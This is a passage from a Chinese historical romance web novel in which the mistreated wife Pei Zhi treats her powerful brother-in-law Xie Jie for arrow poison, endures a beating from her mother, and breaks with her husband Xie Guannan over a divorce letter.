裴芷一愣后知后觉抬头,对上了谢玠锐利深眸。
手微微抖了一下,头越发低了:“不,不用了。我能自己看。”
声音细如蚊蚁,绯红从低垂着的脸颊一直烧到了耳根子。连玉珠似的精致耳垂也红透了,像极了一小块红玉。
谢玠眯了眯眼。
目光落在她发红的耳垂,顺着往下,便是比雪还白的脖颈。一小截露出的雪肤,在烛火之下竟十分诱人。
谢玠适时移了眸光。
他不是那等贪色之人,再说眼前这女人是族弟之妻,偶尔觉得有趣不打紧,但不可能生出非分之想。
裴芷垂着头,半跪在床榻边仔细查看谢玠的伤势。
一开始她的努力忽略男人结实有致的狼腰,后来解开绷带发现伤口血迹发黑,皮肉因为红肿而翻出,非常可怖。于是全部心神便全在了伤口上。
裴芷看完伤口,面色凝重:“大爷,伸手。诊脉。”
谢玠静静看了她一眼,伸出手腕。
裴芷垂着头仔细诊脉。屋里寂静无声,只能听见水滴更漏一点点滴落在铜盆里的声。
奉戍不敢说话,但他心中是十分焦急的,几次想问出口,但一转眼却见谢玠垂眸不语,只能强行忍耐。
摸完了左手的脉门,裴芷又道:“右手。”
她说得理所当然,与她而言面前的人只是寻常看诊的病人。
谢玠无言换了一只手。
奉戍忍不住:“你不要装神弄鬼了,到底会不会看……”
谢玠看了他一眼。
奉戍立刻噤声,悄悄退后一步。
不过他的右手还是紧紧握住刀柄。只要裴芷有半分奇怪的举动,他手中的刀不介意再落下。
过了小半盏茶功夫,裴芷轻舒一口气。
谢玠声音沉冷:“诊出来了?是什么毒?”
裴芷神情异常平静:“有三种毒混合一起。这三种毒名字一时间想不起来,但能断定出自南疆。”
南疆两个字说出口,谢玠看了奉戍一眼。后者悄悄点了点头。
裴芷又道:“三种毒相生相克,份量拿捏得很玄妙,所以大爷才会连日不愈。不过万幸的一点是,这毒涂在了箭上,量少,且处理及时,不会伤及性命。”
“”如果大爷信了我,我今夜可以先为大爷先处理好伤口。不至于溃烂。而后回去,我会查一下医书写出解毒药方,调配出解药,送给大爷。”
谢玠眯了眯眼,眼底带了森冷的寒意:“什么意思?”
裴芷很是平静:“大爷若是不放过妾身,妾身是不会说出如何疗毒的。”
“铿!”一声,奉戍手中的寒刀已经顶在了裴芷细嫩的脖子上。
厉声喝道:“你敢威胁大人?”
裴芷面不改色,冷静分析与他听:“大爷中的三种毒性太烈,已经接触到了内脏上。如果不及时拔毒,恐怕再过两日大爷就会七窍流血而亡。”
“大爷若是不信。我可以说给大爷听。刚中毒时伤口并不疼,有奇怪的麻痒感,伤口血色鲜艳,并不黑红。血味藏着丝丝甜腻。当夜就发了高热,剧痛从腰腹间开始传到了四肢,伴随轻微的抽搐。”
“第二日便是头疼,四肢越发痛感明显。第三日一早一定会吐血,因毒开始走了肺经。伤口迟迟没有愈合迹象,发痒红肿,身子会畏寒,唇色也会乌紫。”
第28章 城府极深的男人
谢玠冷眼瞧着她。
面前的女子侧脸如画,昏黄的烛火如一层金粉似的镀在她的脸上。
她靠得这般近,几乎他一抬眼就能看清楚她粉面上细细的绒毛,还有如雪肌肤下淡淡的血丝。
只要一只手,就能将瘦弱的她掐死在床边,就如同今夜假扮大夫的刺客一样。
杀得不费吹灰之力。
四目相对,剑拔弩张到了极致。
未关严的窗缝送进外面潮湿的寒气,裴芷身上起了轻微的战栗。
没人能在谢玠面前能保持绝对的沉稳,她也一样。但这时候不能胆怯,一旦露了怯,也许连明日的太阳都见不着了。
终于,谢玠移开了眸子,极冷淡地说:“拔毒吧。”
症状都说对了,他也不用再考验裴芷了。
裴芷浑身都松了下来,背后黏腻的冷汗冒了出来,让她有了真实感。
她微微颔首:“那我给大爷处理伤口,再用银针放出一部分毒血,不让大爷那么难受。”
谢玠没吭声。
裴芷也不多言,做了准备。
放血、施针、拔毒,再重新用烈性酒清理伤口,用匕首割了伤口处的一些死肉,再用晒干的羊肠线缝了伤口,又在上面撒了许多药粉。
紧张中她忘了害怕,只是感叹谢玠这边一应处理伤的器具与伤药非常齐全。每一样都是极好。
就算她要晒干的羊肠线,奉戍都能转眼拿了出来,压根不需要忙乱寻找。
处理完伤口,裴芷轻声道:“接下来我要给大爷包扎伤口。”
谢玠直了身子。
裴芷拿着绷带正要上前,突然又停住了。
谢玠伤在腰腹间,如果要包扎就必须伸手绕他腰间,再缠到小腹上,再绕几圈才能扎紧。
谢玠等了片刻见她拿着绷带一动不动,剑眉微微挑起:“怎么了?”
裴芷轻咬下唇,回头找奉戍:“奉戍大人,帮帮忙。”
奉戍正拿着药粉,皱眉:“帮什么忙?不就是绑上绷带吗?”
这种事他经常做,也不知道裴芷在纠结什么。
裴芷踌躇不定。
谢玠淡淡瞥了她一眼:“医者仁心。我不介意,你还介意?”
裴芷心里叹了口气,拿着绷带上前,低声道:“大爷,得罪了。”
她慢慢靠近,一直靠得极近,几乎要双手环抱住谢玠,才飞快双手一交错将绷带从他腰后缠绕过来。
一阵很淡的馨香扑了过来,轻轻撩过鼻间,似极轻的羽毛撩拨过。又像是一只很柔软的手在心上抚过。
谢玠眸色更深了。
面前的裴芷脸已经红得可以滴出血来,拿着绷带的手微微发抖。但还是又继续靠过来,屏住呼吸再次将绷带缠一圈。
如此重复十几次,终于腰部缠好了,匆匆打了个结。
按道理,打结她不会陌生,可指尖碰触到男人结实的肌肉上就像是烫了手似的,忍不住发抖。
简简单单的打结竟也给她弄得冒出汗来。
终于都处置完了。裴芷又仔细看了包扎处不会漏出药粉,才轻吁一口气。
“大爷,好了。”她吩咐,“十二个时辰不能碰水,若是渗血了也不用管它。除非伤口崩裂。”
她仔细说了几处该注意的。谢玠没什么表情,淡淡听着。
奉戍站在旁边听得仔细,时不时问两句。
终于都交代完了。裴芷只觉得头晕眼花。刚才太专注了,累着了。
她刚想起身,突然脚步一错,站立不稳直直往他怀里扑去。
脑子在一瞬时空茫了,裴芷只觉得自己鼻子碰到了温热又坚硬的肌肉。
是男人的腰部。
血从心脏处急速往脸上去,耳中嗡嗡的,裴芷僵住身子像是被吓傻了。
人在极其惊愕中是忘了要如何做的。
生平头一次,不知道该怎么办才好。直到头顶有沉沉的轻咳传来,惊醒了理智。
裴芷猛地回过神,手一推,顺势站起身。她不敢去看谢玠的脸色,但心知此时最好是假装刚才的事没发生过。
“伤处理好了。我下去配药。”
说完,匆匆福了福赶紧转身。
奉戍走来:“大人,感觉如何?”
谢玠轻轻点了点头。
奉戍长长舒了一口气。
裴芷配完药交给奉戍,轻声嘱咐了白天的用法,低声道:“等一天若是伤口不再流血就有七成把握。若是流血了……”
她忽地住了口。如果流血那就是失败了。而她的下场大约是会和两个贴身丫鬟一起死在小佛堂中。
奉戍冷声打断:“二少夫人不要胡说。”
裴芷抿了抿唇没答话,而是看向谢玠。
谢玠也不看她,对奉戍道:“送她回去。”
奉戍应了一声,转身带裴芷走。
“她要什么药材,都备齐。”
冷淡的嗓音再次传来,裴芷心中一凛,低声应了一声,再也不敢回头看他一眼匆匆出去了。
谢玠眯了眯眼。
纤瘦的素影如夜里惊飞的蝴蝶,倏忽就不见了。
……
裴芷回到小佛堂时天刚蒙蒙亮。
她双手发抖,浑身冷汗湿了两重衣衫。镇定了许久,回到屋中换掉沾染了毒血的长衫。又不放心点了炭盆升了火将血衣一点点烧了。
又仔细将双手洗干净,洗了一把脸。
她爱洁。若不是佛堂清苦,没沐浴用具。是必须要打上两盆热水全身都洗一遍除一除血腥味。
她回屋里看梅心与兰心。两人还在沉睡。
裴芷摸了摸她们身上,知晓是被点了穴。两人应该过半个时辰才会醒来。
心渐渐放下,她拖动疲惫的身子到了佛堂后院堆香烛与柴火的小房中,挑捡了一些用得上的药。又回到了佛堂中,仔细翻了翻医书,寻找解毒需要用的药材。
但带来小佛堂的医书太少,翻遍了也没找到自己想要的方子。
她眉心紧蹙。只能按着记忆中的古方调整一下。
枯坐在小佛堂的铺团上,静静将今夜的事重新捋了一遍。
此时才觉得无尽后怕,昨夜在松风院铁定出了人命。
地上分明有打斗过的痕迹,还有被处理过拖拽的血痕。奉戍的刀有刺鼻的血腥味。还有谢玠身上长袍也不单单只有自己身上的毒血。
种种迹象,都说明了昨夜在松风院是经历过一场行刺的。
最终结果应该是刺客就戮,谢玠安然无恙。
不过也是付出了代价,谢玠身上的毒被刺客引发,情况极其危急。他又信不过外人,所以让奉戍临时将自己掳了过去,逼她解毒。
他们为了吓唬威胁她,还拿了祛毒补血药丸做明证掩盖真实意图。
那瓷瓶一共一十八颗药丸,谢玠分明一颗都没用过。
奉戍厉声呵斥她的说法也是极荒谬的,以谢玠的身份,怎么可能随意用来路不明的解毒药丸。
恐怕花钱买解毒药丸只是为了迷惑敌手。
真是城府极深的男人。
第29章 快去跪地请罪
裴芷只觉得脑子越发疼了。
她只想安稳离开谢府,并不想卷进阴谋中。但目前来看,谢玠没解毒之前她是无法离开了。
裴芷再次醒来的时候,梅心在身边忧心忡忡瞧着她。
“少夫人怎么起身了都不唤我们?一个人在这儿睡着了,万一着了凉可怎么办?”
裴芷动了动,浑身骨头酸软,又因趴在书案上睡着了胳膊被压得麻了。
她扯了个借口便由梅心与兰心伺候着梳洗,随便用了点早膳就去睡了。
这一觉睡到了下午,精神恢复了些许。
梅心打开房门,面上有高兴神色:“少夫人快看。府上送来了不少好东西。”
裴芷看去。
送来的东西很多,三件轻便厚实的衣衫,再有两床簇新的被子正好可以抵御佛堂的寒冷。
还有一件的水貂毛做的披风。披上它,寒气湿气都隔绝开,比她经常披着的厚棉长袄好多了。
十盒用红封封好的补品。其中是三盒上好的燕窝、一盒人参,其余的便是各种滋补药材。
这些都是平日能用到的,并不是金银也不是珠钗首饰贵重物件。足可见送礼的人是用了心的。
裴芷看到这,隐约有了猜测。
应该是谢玠身边对她凶巴巴的侍卫奉戍。奉戍是个练武的人,喜恶都在脸上,难为他想得那么周到。
虽猜出来,但裴芷还是问了一句:“谁送的?”
梅心兴高采烈地整理这些好东西,随口道:“一位很面生的管事。问了他,说是新进府的,说是查了之前的账册,发现缺了清心苑不少东西。所以一并将那些缺了的换了这些东西过来。”
她笑道:“管事还求我们不要说出去。说这账就算平了,以后谁问起来就说是从前放库房忘了用的。”
裴芷看了一眼:“那就不要说出去。悄悄用了就行了。”
梅心与兰心欢天喜地应了下来。谢府向来对清心苑吝啬。平时除了照旧的份例外,别的没多给。要是额外要点东西,必须得禀报,还得经过秦氏点头允许,才能分点。
裴芷又是极大方心善的,对清心苑中的下人们多有贴补。用的都是她自己的体己。所以手边的好东西真不多。
这些送来的东西,她们除了在没出事之前的裴府见过外,之后都鲜少见过。
裴芷吩咐梅心将补品收起来,被子铺盖便与两个丫鬟一起用。
衣衫的话,她将送来的挑了一件素色的穿在里头,外面依旧是拿秋日穿的旧长衣遮掩着,把省下的旧冬衣给梅心与兰心,让她们做成两件夹袄穿在里面御寒。
离真正春暖花开还有一个月余,她不想连累两个丫鬟生病。
主仆三人正在说话,下人领来了裴母苏氏。
裴母苏氏昨儿打了裴芷,又见不到她,今日用过午膳早早就来了。只是在北正院那边与秦氏说了好一阵子话。
裴母苏氏急于见裴芷,也不通传就进了佛堂。
她劈头就含着恼火,斥责:“你这是大了越发厉害了,也敢生母亲的气了。都说母子没有隔夜仇,我看你压根没把我当做你的母亲对待。”
裴芷缓缓抬起眼来:“母亲今日又来是来教训女儿的吗?”
裴母苏氏径直挑张椅子坐下,直盯着她:“我问你,恒哥儿你送还给你婆母教养,是什么意思?是谁给你的胆子这么不敬不孝你婆母的?”
“你简直在丢我们裴家的脸!叫人家笑话我们裴家养女无方……”
一连串的指责,说个不停。
裴芷垂了眸,静静听着。
裴母苏氏说了好大一通,见裴芷木头人似的没反应,心中的怒火烧得越发旺了。
她伸手捞了个空,这才发现茶都没有上。
“茶呢?你就是如此对待你母亲的?”
梅心拿了一盏清茶,赔罪:“夫人息怒,佛堂清苦,热水都得现烧。”
裴母苏氏喝了一口,吐了出来:“什么茶?你就喝这东西?!”
打开茶盏,里面哪是什么茶,看着像是几片草叶子。
裴芷道:“佛堂什么都没有,母亲将就一下吧。”
裴母苏氏愤愤放下茶盏,擦了擦唇边,厉声问:“方才我说了那么多,且问你一句,恒哥儿你带不带?”
裴芷垂眸不语。
裴母苏氏见她又是这样木讷的样子,恨不得拿根针戳她脸上。
她忍了怒气:“你与我说说,到底出了什么事?你不带恒哥儿,难道是要自绝与谢家面前?你别忘了当初将你嫁入谢家,是为了给恒哥儿当好后母。”
“你现如今起了别样的心思,到底想做什么?”
裴芷任凭母亲数落,半天不吭声。
问急了,她抬头:“母亲不会在乎我想做什么的。母亲只在乎裴家脸面罢了。”
裴母苏氏脸色变了变:“你现在学会顶嘴了?”
裴芷别过脸,讥嘲笑了笑。
从小到大都是这样,骂她木头人一个。可她说了心中的看法,又骂她顶嘴。所以她也不知道母亲到底想要她怎么样,索性都不说了。
“母亲不要再说了,恒哥儿已经长大了,不需要我了。交给婆母教养正合适。”
裴母苏氏愣了片刻,以为自己听错了,半天才问:“你说什么?”
她道:“你疯了不成?你不要与母亲置气,我劝你一会前去给你婆母跪地请罪,多哀求些让你婆母将恒哥儿交给你教养。”
又语重心长道:“母亲这是为了你好。谢家高门大户,二爷又是个极有才的,将来仕途一定很好。你一进门就有个恒哥儿,等于抱着一块免死金牌。以后福气都在你身上。”
“快去向你婆母谢罪,再对二爷小意温柔几句,以后夫妻恩爱,才能坐稳谢家主母的位置。……”
裴芷抬起头,眸光清清冷冷的:“母亲真的是为了我好吗?”
裴母苏氏点头:“那是当然。母亲怎么会害你?你这门亲事算是捡了你姐姐的。唉,你苦命的姐姐啊,年纪轻轻就过世了,泼天的富贵都没享过几年。”
她眼眶发红,看着是实在心疼了:“你落了这么大的好处,怎么敢不满意的?!你忘了当初……”
裴芷打断:“当初是母亲逼我嫁的。别忘了,母亲把我毒打了一顿,将我关进柴房三天三夜不给吃不给喝的。差点死了。”
第30章 又打了她一巴掌
裴母苏氏一噎,想好的说辞竟然忘了。
她恼怒:“你什么意思?!当初是我逼你的?你到底有没有良心?”
裴芷眼底浮起厌倦:“母亲总说我嫁入谢府是捡了姐姐的便宜,大抵所有人都这么认为吧。但我是不认的。”
“往事就不说了。我怕攀扯出来说急了,你我母女那点微薄的情分也没了。”
“如今我只与母亲说清楚:恒哥儿我照顾了三年,如今孩子长大了便交还给二夫人教养。让我跪地请罪领回孩子,让我对二爷温柔小意,好继续在这深宅大院中苦熬,等待所谓的福气,那是决计不用想。”
裴母苏氏瞪大眼,不敢相信总是沉默寡言的二女儿竟然会当着她的面,不客气说出这番大逆不道的话。
“你什么意思?”她站起身,气得手指发抖,指着裴芷,“你不想好好过日子了?”
裴芷淡淡道:“母亲错了。一开始我嫁入谢府也是想好好过日子的。但奈何他们不把我当人,既无尊重也无半点信任,那我何必再磨折自己?”
裴母苏氏脸上一阵红一阵青。
来的时候,她与二夫人秦氏说了许久的话。
秦氏拉着她诉苦说裴芷如何不孝不敬,如何没照顾好恒哥儿。又说恒哥儿如今黏着裴芷,话里话外说得还是得让裴芷带回去。
又私下许了诸多好处。
裴母苏氏这才来佛堂教训裴芷。
原以为裴芷还会和以前一样乖乖听训,但没想到她会说出这么多话来。
句句都出乎意料,句句都让她辩驳不得。
裴母苏氏气急了,抬手就要扇裴芷。
梅心冲了过来,牢牢握住裴母苏氏的手,哀求:“夫人不要打少夫人了。少夫人真的被欺负的有苦难言。若是夫人再不疼少夫人,少夫人可怎么办呢?”
裴母苏氏依旧愤愤:“被欺负了?你若是没做错,谢府满门清贵,何必欺负你?”
“肯定是你有错在先,不然为何他们没欺负过你大姐?你不如你大姐贤德,做得不如你大姐好,他们自然有了比较……”
“母亲。”裴芷再次打断裴母苏氏的话,声音异常清冷,“母亲怎知道大姐没被欺负过?”
裴母苏氏的面色瞬间僵住。
裴芷没看她的脸色,道:“母亲不要再说了。我既无罪也不会去请罪的。”
裴母苏氏也不愿在这些小事上与她攀扯太多。毕竟她今天来主要不是为了这个。
裴芷到底有没有被谢家欺负,也并不重要。谁家的做儿媳妇的不是受婆母磋磨?还有的被丈夫毒打,被小妾折腾。
在裴母眼中,裴芷已经是极好了,受点委屈不算什么。
“我今日要与你说。皇上开了恩典,那宅子放给我们了。你祖母说要搬回京城。”裴母苏氏道,“我这几日让人打扫了,添置点家具,以后就长住京城了。”
裴芷垂眸,眉心微微蹙起。
没有半分高兴,仿佛与她是无关紧要的事。
裴母苏氏心里的怒气又腾地起来:“与你说话呢。先前与你说两个伯父家的子侄想进谢家私塾,你到底说了没有?”
裴芷:“母亲不要说了。这事我办不了。我给了母亲二百两,足够让两位侄儿去寻好的先生……”
裴母苏氏再也忍不住“啪”的一声重重给了她一巴掌。
“你真是越发大胆了,竟然如此忤逆母亲!”
佛堂瞬间安静下来。
裴芷看着裴母苏氏盛怒的脸,从没有觉得这般陌生过。
裴母苏氏的脾气一向不好。从前裴家风光时,她还算是宽容大度的主母,就算脾气暴躁也会被父亲裴济舟想办法劝住。
可自从裴家获罪后,母亲就变了。
她变得异常暴躁且很爱动手,时常责罚下人,对自己更是一言不顺心就打手心,罚跪,罚鞭笞。
三年前她不愿嫁入谢府,裴母苏氏亲自拿了浸了盐水的牛筋鞭子,差点把她抽死。
要不是她懂医术,事后给做了许多祛疤的药膏涂着,现在身上一定惨不忍睹。
原以为嫁了,就能躲过母亲的暴虐。没想到还是躲不过。
裴母苏氏其实打了那一下就后悔了。裴芷再不争气现如今也是谢府的少夫人。还有诸多事要求她,若是她真的恼了不帮怎么办?
但,架子端太久了,如今让她低声下气求和服软也是不可能的。
母女两个人默默对视,谁也不愿先说。
“岳母怎么能动手呢?”
谢观南清润的嗓音传了进来,走到了裴芷面前。他仔细瞧了她脸上的巴掌印,摇头:“你看你,怎么又惹得你母亲生气了?”
“还不赶紧跪下给岳母请罪?”
裴芷看也不看他一眼,寻了个椅子坐上。梅心赶紧去拿湿帕子给她敷着,又匆匆去拿药膏。
谢观南见自己被裴芷无视,顿觉尴尬。他带着恼怒看去,本想呵斥裴芷不识抬举,但却看见她如玉雪似的脸颊上红彤彤的巴掌印,看起来脆弱又破碎。
心中一窒,他口气缓和下来:“你……你没事吧?”
裴芷奇怪看了他一眼。
从前她受罚下跪,或是身子不适,从没有见他过问一句。他心里不喜欢自己,这些关怀她得不到也能理解。
但今日谢观南竟破天荒过问了,着实令她好生奇怪。不过这迟来的关心并没有让她感激,而是生出淡淡的反感来。
裴母苏氏见谢观南来了,顿觉得自己找到了靠山。
她大声说着裴芷的“忤逆”“不孝”种种,仿佛那一件件都是裴芷带了恶意做的。
谢观南听烦了,温言将裴母苏氏劝走了。
裴芷敷了一层消肿的药膏。药膏渗入肌肤抚平了疼痛与红肿,显得她半边脸莹润有光泽,但终究是被打伤了,瞧着不体面。
谢观南上前道:“岳母其实都是为了你好,你不要怪她。”
裴芷淡淡问:“二爷在外面等了那么久,特地在我母亲打了妾身才进来,如果只是为了劝架。那现在也劝了,可以回去了。”
谢观南羞恼。
他听说裴母苏氏又来了,心知她一定会来教训裴芷,便等在外面听了许久。
原本想着是等她们母女闹得不可开交,自己进来做个和事佬,事半功倍。而裴芷是怕她母亲闹腾的,应该会依赖他的调解。
这样面子功夫做了,他又能趁机让她屈服,一箭双雕。
但是裴芷没给他脸面,一开口就戳破他的伪装。这让谢观南闹了好大的没脸,接下来的话也不知道该怎么说。
第31章 换成休书也可以
裴芷:“二爷特地来佛堂,只是来说这些话的吗?若是无事,我要诵经了。”
谢观南面子挂不住,冷声道:“小裴氏,你就是这个脾气才会屡次被你母亲教训。”
“你母亲都这般说你了,可想而知你的脾气和品行如何差了。你还不反省,竟然还与我置气。你简直不可理喻。……”
裴芷听着他的呵斥,疲惫从心底升起。
她竟不知有一天自己会对曾经想托付一生的谢观南有这么浓烈的厌烦。甚至到了看一眼都觉得恶心的地步。
谢观南呵斥了几句见裴芷无动于衷的样子,只觉得一拳打在了棉花上。
他咬了咬牙,冷笑:“罢了,与你说你是不会听的。你这般亲生母亲都厌憎的女人,想必不会知晓悔改二字是怎么写的。”
“啪”一声脆响。
桌上的茶盏被她掀了砸翻在地上。
谢观南愣住了,一旁拿着药膏的梅心一哆嗦,猛地转头看向裴芷。
裴芷平日没什么表情的脸上此时布满了寒霜。
“谢观南,我可以忍你诸多羞辱,但唯独这一句不许。”
谢观南抿紧唇,面色铁青。
他知道自己说得太过分了,但不这么数落,无法撼动裴芷的心神。
可真正戳伤了她,他又不知道该怎么往下继续。让他低声下气去道歉求和,是决计不可能的。
裴芷转头:“这里是佛堂,原本以为清净。没想到又有恶行又有恶言,佛主若是有灵,该知道惩罚什么人。”
谢观南气急:“你如此张狂,就不怕我休了你?!”
裴芷:“和离书已给了二爷,二爷迟迟不愿签,那换成休书也是可以的。总之事已至此,你我体面半点都没有了。”
谢观南看了她半天,怒而拂袖离去。
等他离开,梅心含着泪上前:“少夫人,现在怎么办呢?”
裴母过来打了她,二爷又与她决裂了。今后的日子越发难了,说不定小佛堂都出不了。
裴芷摸了摸肿胀的脸,轻声道:“不怕。总归有办法能出了这樊笼。”
她还是乐观的。虽然这层乐观带了点悲色。
能失去的,都是不曾拥有过的。
物件如此,人亦是如此。
他们本就不把她当回事,所以今日所经历的也是意料中的。既然明白早晚都会来一遭,心里也就不那么难过。
谢观南怒气冲冲走了,在回廊处猛地顿住脚步。
心绪还是很难平。
谢观南想了想,去了大书房。从书案的暗格中拿出裴芷写来的和离书。上面字娟秀又有风骨。
透过字几乎能瞧见裴芷站在他面前,一字一句念着“错配良缘”“各自安好”。
谢观南眉心蹙紧,猛地唤了一声青书。
青书匆匆进来。
谢观南冷冷道:“磨墨。我要写休书!”
青书见他面色冷凝应该是气得不轻。当下不敢多言,赶紧墨了墨。
墨磨好了,谢观南提笔要写休书,但却不知道怎么下笔。
休书该写什么?
写她三年无后?可分明这三年是母亲不愿意他们夫妻同房,又不愿意恒哥儿没人照顾,是以夫妻敦伦上让他避着点。
写她不敬公婆?她又日日请安,时不时又要被立规矩,端茶倒水伺疾。若不是她这般,恒哥儿身子怎么会好起来?母亲的旧疾怎么会不发作。
又想起今日裴芷的眼神,叫他陌生得有点害怕。
这三年来,她总是将他身边诸事打理得那么妥帖,对他总是千依百顺,也不曾和他拌过嘴,红过脸,向来都是他说什么,她应什么。
哪怕是被数落的委屈了,也只会偷偷红了眼,或躲着哭一阵子。
第一次听她直呼他的姓名,在面前摔了茶盏。
那定是真的刺痛了她的心了吧?
想来想去,笔竟悬在了半空中,一滴墨滴了下来。
青书瞧见了,立刻上前将那纸撤了,道:“这纸不好,小的去换一尺新的。”
连带着,桌面上的纸统统都拿走了。
谢观南目光落在手边那份和离书上,忽地道:“把这拿去烧了。看着心烦。”
青书也不敢多看,接过就撕了:“二爷好生坐着歇着。小的去奉茶。”
谢观南铁青的面色稍稍和缓,长叹一声,靠在了椅上慢慢揉了揉眉心。
这事,棘手了。
……
北正院中,恒哥儿病得恹恹的,小脸烧得通红,时不时不舒服哼唧两声像猫儿似的。
秦氏坐在床边,唇白,鬓发都有些乱。
她瞧着孩子病恹恹的神气,只能不住双手合什念佛。
下人来禀报裴母苏氏来了。
秦氏只能去见。
裴母苏氏问:“恒哥儿怎么样了?”
秦氏疲倦揉了揉眉心:“刚又发热了。已经灌了一碗药了,但吐了大半。又让下人去煮药了。”
裴母苏氏忧心忡忡:“怎么病一直不好?莫不是惊动了什么邪祟?”
秦氏无力摆手:“恒哥儿一出生就不足,一直是用药喂着的。”
裴母苏氏皱眉:“前两年不是听说好了些吗?怎么的……”
秦氏懒得和她唠叨这些没用的,只问:“小裴氏可答应照料孩子了?”
裴母苏氏面色僵了僵,拿了帕子擦了擦脸,不做声。
秦氏瞧她的脸色就知道事情没办成。
她心中气急。敢情先前与裴母苏氏商量了那么久,许了那么多好处。她居然还是不能说动裴芷将恒哥儿带回去。
秦氏冷了脸色:“恒哥儿生着病,我这儿也不好招待亲家母。亲家母请回吧。”
裴母苏氏讪讪起身:“我改日再来。”
樊嬷嬷站出来,阴阳怪气:“亲家夫人没事还是少上门。知道的是走亲戚,不知道的还以为夫人您来打秋风呢。”
“我们谢府与其他人家不一样。每日这院那院的管事婆子、管家媳妇都过来禀事,领牌子。可没空招呼那些专门来闲说话不办事的。若是每个人都走得这般勤,喝茶吃点心的,怕拍屁股就走了。这边还得好一通收拾,人仰马翻的……”
裴母苏氏极爱面子,一听这话气得眼眶红了。
“你,你这话什么意思?”
樊嬷嬷:“没什么意思。我说的是与那不识抬举的人听的。亲家夫人可不要对上了。那可是冤枉死我老婆子了。”
裴母苏氏气的哆嗦。
秦氏呵斥樊嬷嬷,让她退下。
“亲家母不要生气。这老婆子人老了,嘴就坏。又养过府上好几个哥儿姐的,心气就高了点。我一会儿罚她。”
裴母苏氏得了台阶,只能顺势下来。
谁叫如今裴家没了起复的希望,能保住的也就只有那一层看不见的面子。
第32章 去借马
裴母苏氏走了。
樊嬷嬷打听到了小佛堂的事,将事情与秦氏说了。
秦氏忍不住道:“没想到也是个不中用的。自家的女儿都拿捏不了,才让小裴氏如此嚣张。”
樊嬷嬷皱眉:“现如今怎么办?软硬都施展过了。小裴氏硬是不低头。难道……”
难道这平日不声不响的女人要和离?
樊嬷嬷心中一惊,随即又心里摇头。
小裴氏怎么可能敢闹和离?且不说如今的裴家早就没落了,就算是裴家风光依旧在的时候,也是不敢和谢家闹出龌龊。
再说,和离之妇有多难是个人都知道。夫家容不下的,娘家自然也是容不下的。有的和离妇一回娘家去,直接一根白绫让她死了干净。
想要自立女户,呵呵,更是痴心妄想。
从前朝到今朝就没听过哪位女娘子能出来自立为女户的。倒是听说不少尝试的,被自家亲戚吃了绝户,死状凄惨。
樊嬷嬷想定,对秦氏道:“夫人不要急。依老奴看,先前夫人太抬举小裴氏了。得给她来个狠的,叫她认清现实才是。”
秦氏皱眉:“你意思是?”
樊嬷嬷在她耳边如此这般说了。
秦氏摇头:“不行。若是她宣扬出去,谢家的名声就不要了。说我们仗势欺人,苛待儿媳。”
她还有另外一层心思。
如今谢家那位大爷封侯在即,恒哥儿又想过继在大房名下,是万万不可以让大房知道二房这边有半点名声污点的。
樊嬷嬷想了想,只能道:“那要不就这样……”
她附耳说来。
秦氏听了,良久点了点头:“好吧。只能这样了。婆母罚儿媳,名正言顺。她若是不认错,就是不孝。”
……
谢观南在大书房待了许久,却想不出半点解决法子。
正巧,谢观云带着白玉桐前来寻他出去玩。
一见面,谢观云便埋怨:“哥,玉桐姐姐好不容易到府上做客。你整日不见人影算什么呢?快带我们出去玩。”
白玉桐见谢观南面上有忧色,上前,声音娇软:“观云妹妹,不要为难观南哥哥了。他这几日公务繁忙呢。”
谢观南见白玉桐亲自为他解围,心中极为受用。
他道:“这几日公务虽忙,但我给上峰请了假。明日就可以带你们出城踏青了。”
谢观云高兴拍手:“好呀好呀。连日阴雨,把我都快憋发霉了。”
白玉桐忽地柔声问:“那,裴姐姐要一起吗?”
谢观南面色一凝。
还没等他说话,谢观云满不在乎:“她?她凑什么热闹?她不是在佛堂抄经祈福吗?若是她胆敢有怨言,我一定要给母亲告状,让母亲再狠狠罚她。”
白玉桐柔声道:“这,不太好吧。毕竟裴姐姐是观南哥哥的续弦夫人。若是知道是我陪着观南哥哥出城……”
余下的话她没说,悄悄瞧了一眼谢观南。
谢观南不语,似乎又神游天外了。
白玉桐咬了咬下唇,心里是有些恼怒的。
她辛辛苦苦回到京城,本以为谢观南对自己旧情难忘,但进了府几日虽然谢观南呵护着,还买了不少贵重东西送她,但总觉得他心思已不在她身上。
出去游玩逛街,他神思总在游离,到了府中他不是带着她去小佛堂瞎逛,就是说了几句必会提起裴芷。
想着,白心中越发沉甸甸的,脸上也多了委屈之色。
“罢了,明日我不出城了。观南哥哥还是和裴姐姐一起。”
“观云妹妹,我不能陪你了。”
谢观云急了:“玉桐姐姐你怎么反悔了?咱们不是说好了一起吗?”
“你别管小裴氏怎么想。她一定是不敢怪你的。若是她敢怪你,与哥哥闹腾,不但我饶不了她,我哥肯定也会为你做主的。”
白玉桐没吭声,只是委屈盯着谢观南。
谢观南没注意她的脸色不好,随口敷衍道:“是,小裴氏不爱出门玩。再说她也得照顾恒哥儿。明日一早我去接你们。”
“今日我让青书去借几匹马来。”
二房这边府邸没养马,只有大房府邸才有正儿八经的马厩。不但有马厩,还有专门伺候马的养马夫,带马每日溜跑的驭马师等等。
谢玠爱马,在府邸养了十几匹上好的千里马,还在城外军营里也养了十几匹战马。
马本身就贵,一干伺候得吃嚼用,还有马鞍马具更是要许多银子,所以世家的实力可见一斑。
想着,谢观南面色微滞,想到了前些日子亲自去求画,被谢玠身边的人一句“不借”就打发了。
他道:“你们先玩。我出去借马。你与观云都不擅长骑术,不能找不好的马儿来骑。”
谢观云笑着搂了白玉桐的胳膊:“玉桐姐姐,你瞧吧。我哥对你可上心了。若是换了别人,哪管骑的马是哪儿来的。”
白玉桐粉面羞红,瞧了谢观南一眼:“观南哥哥,你要去哪儿借马?”
谢观南:“自然是找最好的借。”
说完,便出了大书房。
白玉桐追了上来,道:“观南哥哥,我也同你一起去。”
谢观南摇头:“我是去借马,你去不方便。再说,那个人虽然是我堂哥,但终究不熟,去了我怕招待你不周。”
招待不周只是借口,是怕谢玠身边的人对他没什么好脸色,会在白玉桐面前丢了脸。
白玉桐只是不肯,眼中委屈含泪:“观南哥哥,你若是不想我陪着就直说,我早点回去不必在这儿碍眼……”
谢观南见她要哭了,只能道:“罢了。你就是多心了……”
白玉桐见自己如愿,破涕为笑,揽住他的胳膊。
“观南哥哥,你要借马是要去找谢大人吗?听说他为人脾气古怪,性情暴戾,好吓人的……”
一路到了谢府府邸,让人通传了一声,等了足足小半个时辰才让下人引到了松风院外。
白玉桐悄悄张望,只觉得一路行来与谢家旁支的府邸完全不一样。
大气、庄肃,一草一石看着都不一般。
她悄悄垂了眼眸。
